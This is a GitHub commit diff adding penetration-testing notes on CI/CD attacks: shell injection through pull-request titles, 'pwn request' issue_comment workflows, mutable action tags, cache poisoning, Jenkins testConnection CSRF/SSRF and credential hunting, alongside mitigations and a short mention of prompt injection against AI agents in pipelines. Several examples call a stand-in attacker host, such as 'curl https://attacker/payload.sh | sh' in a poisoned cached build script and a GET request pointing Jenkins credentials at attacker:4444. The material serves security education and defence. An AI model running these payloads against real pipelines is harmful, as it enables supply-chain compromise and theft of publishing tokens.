Skip to content

Commit 7f7f8b3

Browse files
authored
Merge branch 'master' into update_Holiday_Hack_Challenge_2025__Act_1__-_Spare_Key_20260106_124916
2 parents ce30a61 + 1bae0f1 commit 7f7f8b3

File tree

12 files changed

+365
-13
lines changed

12 files changed

+365
-13
lines changed

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 72 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -230,6 +230,20 @@ It might look like because the **executed workflow** is the one defined in the *
230230

231231
An this one will have **access to secrets**.
232232

233+
#### YAML-to-shell injection & metadata abuse
234+
235+
- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch.
236+
- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner.
237+
238+
```yaml
239+
steps:
240+
- name: announce preview
241+
run: ./scripts/announce "${{ github.event.pull_request.title }}"
242+
```
243+
244+
- Because the job inherits write-scoped `GITHUB_TOKEN`, artifact credentials, and registry API keys, a single interpolation bug is enough to leak long-lived secrets or push a backdoored release.
245+
246+
233247
### `workflow_run`
234248

235249
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
@@ -255,6 +269,26 @@ TODO
255269

256270
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
257271

272+
### `issue_comment`
273+
274+
The `issue_comment` event runs with repository-level credentials regardless of who wrote the comment. When a workflow verifies that the comment belongs to a pull request and then checks out `refs/pull/<id>/head`, it grants arbitrary runner execution to any PR author that can type the trigger phrase.
275+
276+
```yaml
277+
on:
278+
issue_comment:
279+
types: [created]
280+
jobs:
281+
issue_comment:
282+
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
283+
steps:
284+
- uses: actions/checkout@v3
285+
with:
286+
ref: refs/pull/${{ github.event.issue.number }}/head
287+
```
288+
289+
This is the exact “pwn request” primitive that breached the Rspack org: the attacker opened a PR, commented `!canary`, the workflow ran the fork’s head commit with a write-capable token, and the job exfiltrated long-lived PATs that were later reused against sibling projects.
290+
291+
258292
## Abusing Forked Execution
259293

260294
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
@@ -426,6 +460,11 @@ If an account changes it's name another user could register an account with that
426460

427461
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
428462

463+
### Mutable GitHub Actions tags (instant downstream compromise)
464+
465+
GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs.
466+
467+
429468
---
430469

431470
## Repo Pivoting
@@ -435,7 +474,20 @@ If other repositories where using **dependencies from this user repos**, an atta
435474

436475
### Cache Poisoning
437476

438-
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
477+
GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token.
478+
479+
**Key facts**
480+
481+
- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels.
482+
- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches.
483+
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.
484+
- Restores are just zstd tarball extractions with no integrity checks, so poisoned caches can overwrite scripts, `package.json`, or other files under the restore path.
485+
486+
**Mitigations**
487+
488+
- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.
489+
- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts.
490+
- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache.
439491

440492
{{#ref}}
441493
gh-actions-cache-poisoning.md
@@ -598,6 +650,24 @@ jobs:
598650

599651
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
600652

653+
### Systematic CI token exfiltration & hardening
654+
655+
Once an attacker’s code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include:
656+
657+
- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) and files such as `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, and cached ADCs.
658+
- Package-manager lifecycle hooks (`postinstall`, `prepare`, etc.) that run automatically inside CI, which provide a stealthy channel to exfiltrate additional tokens once a malicious release lands.
659+
- “Git cookies” (OAuth refresh tokens) stored by Gerrit, or even tokens that ship inside compiled binaries, as seen in the DogWifTool compromise.
660+
661+
With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched.
662+
663+
**Mitigations**
664+
665+
- Replace static registry tokens with Trusted Publishing / OIDC integrations so each workflow gets a short-lived issuer-bound credential. When that is not possible, front tokens with a Security Token Service (e.g., Chainguard’s OIDC → short-lived PAT bridge).
666+
- Prefer GitHub’s auto-generated `GITHUB_TOKEN` and repository permissions over personal PATs. If PATs are unavoidable, scope them to the minimal org/repo and rotate them frequently.
667+
- Move Gerrit git cookies into `git-credential-oauth` or the OS keychain and avoid writing refresh tokens to disk on shared runners.
668+
- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies can’t immediately run exfiltration payloads.
669+
- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes.
670+
601671
### AI Agent Prompt Injection & Secret Exfiltration in CI/CD
602672

603673
LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner.
@@ -732,8 +802,8 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
732802
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
733803
- [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules)
734804
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
805+
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
735806

736807
{{#include ../../../banners/hacktricks-training.md}}
737808

738809

739-

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,68 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5+
## Overview
56

7+
The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.
8+
9+
## Attack primitives
10+
11+
- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
12+
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
13+
- Cache keys and versions are client-specified values; the cache service does not validate that a key/version matches a trusted workflow or cache path.
14+
- The cache server URL + runtime token are long-lived relative to the workflow (historically ~6 hours, now ~90 minutes) and are not user-revocable. As of late 2024 GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.
15+
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.
16+
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts, `package.json`, or other files under the restore path.
17+
18+
## Example exploitation chain
19+
20+
_Author workflow (`pull_request_target`) poisoned the cache:_
21+
22+
```yaml
23+
steps:
24+
- run: |
25+
mkdir -p toolchain/bin
26+
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
27+
chmod +x toolchain/bin/build
28+
- uses: actions/cache/save@v4
29+
with:
30+
path: toolchain
31+
key: linux-build-${{ hashFiles('toolchain.lock') }}
32+
```
33+
34+
_Privileged workflow restored and executed the poisoned cache:_
35+
36+
```yaml
37+
steps:
38+
- uses: actions/cache/restore@v4
39+
with:
40+
path: toolchain
41+
key: linux-build-${{ hashFiles('toolchain.lock') }}
42+
- run: toolchain/bin/build release.tar.gz
43+
```
44+
45+
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
46+
47+
## Poisoning mechanics
48+
49+
GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:
50+
51+
```bash
52+
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
53+
```
54+
55+
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, `action.yml`, `package.json`, etc.), you can overwrite them to gain execution.
56+
57+
## Practical exploitation tips
58+
59+
- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo.
60+
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
61+
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.
62+
63+
## References
64+
65+
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
66+
- [The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/)
67+
- [ActionsCacheBlasting (deprecated, Cache V2) / Cacheract](https://github.com/AdnaneKhan/ActionsCacheBlasting)
68+
69+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/jenkins-security/README.md

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,24 @@ cd build_dumps
9999
gitleaks detect --no-git -v
100100
```
101101

102+
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
103+
104+
Some plugins expose Jelly `validateButton` or `test connection` handlers under paths like `/descriptorByName/<Class>/testConnection`. When handlers **do not enforce POST or permission checks**, you can:
105+
106+
- Switch POST to GET and drop the Crumb to bypass CSRF checks.
107+
- Trigger the handler as low-priv/anonymous if no `Jenkins.ADMINISTER` check exists.
108+
- CSRF an admin and replace the host/URL parameter to exfiltrate credentials or trigger outbound calls.
109+
- Use the response errors (e.g., `ConnectException`) as an SSRF/port-scan oracle.
110+
111+
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
112+
113+
```http
114+
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
115+
Host: jenkins.local:8080
116+
```
117+
118+
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
119+
102120
### **Stealing SSH Credentials**
103121

104122
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
@@ -412,4 +430,3 @@ println(hudson.util.Secret.decrypt("{...}"))
412430
{{#include ../../banners/hacktricks-training.md}}
413431
414432
415-

src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,6 +81,19 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
8181

8282
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
8383

84+
### Secrets in plugin/job configs on disk
85+
86+
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
87+
88+
```bash
89+
# Global plugin configs
90+
ls -l /var/lib/jenkins/*.xml
91+
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
92+
93+
# Per-job configs
94+
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
95+
```
96+
8497
## References
8598

8699
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,8 +103,8 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
90103
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
91104
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
92105
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
106+
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
93107

94108
{{#include ../../banners/hacktricks-training.md}}
95109

96110

97-

0 commit comments

Comments
 (0)